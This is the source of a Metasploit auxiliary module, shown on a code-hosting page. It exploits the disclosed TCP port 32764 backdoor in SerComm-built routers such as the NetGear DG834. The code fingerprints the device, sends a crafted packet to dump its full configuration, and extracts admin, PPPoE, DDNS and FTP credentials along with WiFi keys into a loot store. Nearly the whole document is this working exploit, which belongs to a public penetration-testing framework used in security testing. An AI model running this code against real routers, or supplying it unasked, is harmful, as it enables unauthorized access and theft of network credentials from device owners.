Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/misc/sercomm_dump_config.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Report910SETTINGS = {11'Creds' => [12[ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],13[ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],14[ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],15[ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],16[ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],17[ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras18[ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra19[ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],20[ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],21],22'General' => [23['Wifi SSID', /wifi_ssid=(\S+)/i],24['Wifi Key 1', /wifi_key1=(\S+)/i],25['Wifi Key 2', /wifi_key2=(\S+)/i],26['Wifi Key 3', /wifi_key3=(\S+)/i],27['Wifi Key 4', /wifi_key4=(\S+)/i],28['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]29]30}3132attr_accessor :endianness33attr_accessor :credentials3435def initialize(info={})36super(update_info(info,37'Name' => "SerComm Device Configuration Dump",38'Description' => %q{39This module will dump the configuration of several SerComm devices. These devices40typically include routers from NetGear and Linksys. This module was tested41successfully against the NetGear DG834 series ADSL modem router.42},43'License' => MSF_LICENSE,44'Author' =>45[46'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc47'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module48],49'References' =>50[51[ 'OSVDB', '101653' ],52[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]53],54'DisclosureDate' => '2013-12-31' ))5556register_options(57[58Opt::RPORT(32764),59])60end6162def run63print_status("Attempting to connect and check endianness...")64@endianness = fingerprint_endian65@credentials = {}6667if endianness.nil?68print_error("Failed to check endianness, aborting...")69return70end71print_good("#{string_endianess} device found...")7273print_status("Attempting to connect and dump configuration...")74config = dump_configuration7576if config.nil?77print_status("Error retrieving configuration, aborting...")78return79end8081loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")82print_good("Router configuration dump stored in: #{loot_file}")8384parse_configuration(config[:data])85end8687def report_cred(opts)88service_data = {89address: opts[:ip],90port: opts[:port],91service_name: opts[:service_name],92protocol: 'tcp',93workspace_id: myworkspace_id94}9596credential_data = {97origin_type: :service,98module_fullname: fullname,99username: opts[:user],100private_data: opts[:password],101private_type: :password102}.merge(service_data)103104login_data = {105core: create_credential(credential_data),106status: Metasploit::Model::Login::Status::UNTRIED,107proof: opts[:proof]108}.merge(service_data)109110create_credential_login(login_data)111end112113private114115def little_endian?116return endianness == 'LE'117end118119def big_endian?120return endianness == 'BE'121end122123def string_endianess124if little_endian?125return "Little Endian"126elsif big_endian?127return "Big Endian"128end129130return nil131end132133134def fingerprint_endian135begin136connect137sock.put(Rex::Text.rand_text(5))138res = sock.get_once(-1, 10)139disconnect140rescue Rex::ConnectionError => e141print_error("Connection failed: #{e.class}: #{e}")142return nil143end144145unless res146return nil147end148149if res.start_with?("MMcS")150return 'BE'151elsif res.start_with?("ScMM")152return 'LE'153end154155return nil156end157158def dump_configuration159if big_endian?160pkt = [0x4d4d6353, 0x01, 0x00].pack("NVV")161elsif little_endian?162pkt = [0x4d4d6353, 0x01, 0x00].pack("VNN")163else164return nil165end166167connect168sock.put(pkt)169res = sock.get_once(-1, 10)170171disconnect172173if res.blank?174vprint_error("No answer...")175return176end177178if big_endian?179mark, zero, length, data = res.unpack("NVVa*")180else181mark, zero, length, data = res.unpack("VNNa*")182end183184unless mark == 0x4d4d6353185vprint_error("Incorrect mark when reading response")186return nil187end188189unless zero == 0190vprint_error("Incorrect zero when reading response")191return nil192end193194unless length == data.length195vprint_warning("Inconsistent length / data packet")196# return nil197end198199return { :length => length, :data => data }200end201202def parse_configuration(data)203configs = data.split(?\x00)204205if datastore['VERBOSE']206vprint_status('All configuration values:')207configs.sort.each do |i|208if i.strip.match(/.*=\S+/)209vprint_status(i)210end211end212end213214configs.each do |config|215parse_general_config(config)216parse_auth_config(config)217end218219@credentials.each do |k,v|220next unless v[:user] and v[:password]221print_good("#{k}: User: #{v[:user]} Pass: #{v[:password]}")222report_cred(223ip: rhost,224port: rport,225user: v[:user],226password: v[:password],227service_name: 'sercomm',228proof: v.inspect229)230end231232end233234def parse_general_config(config)235SETTINGS['General'].each do |regex|236if config.match(regex[1])237value = $1238print_status("#{regex[0]}: #{value}")239end240end241end242243def parse_auth_config(config)244SETTINGS['Creds'].each do |cred|245@credentials[cred[0]] = {} unless @credentials[cred[0]]246247# find the user/pass248if config.match(cred[1]['user'])249@credentials[cred[0]][:user] = $1250end251252if config.match(cred[1]['pass'])253@credentials[cred[0]][:password] = $1254end255256end257end258end259260261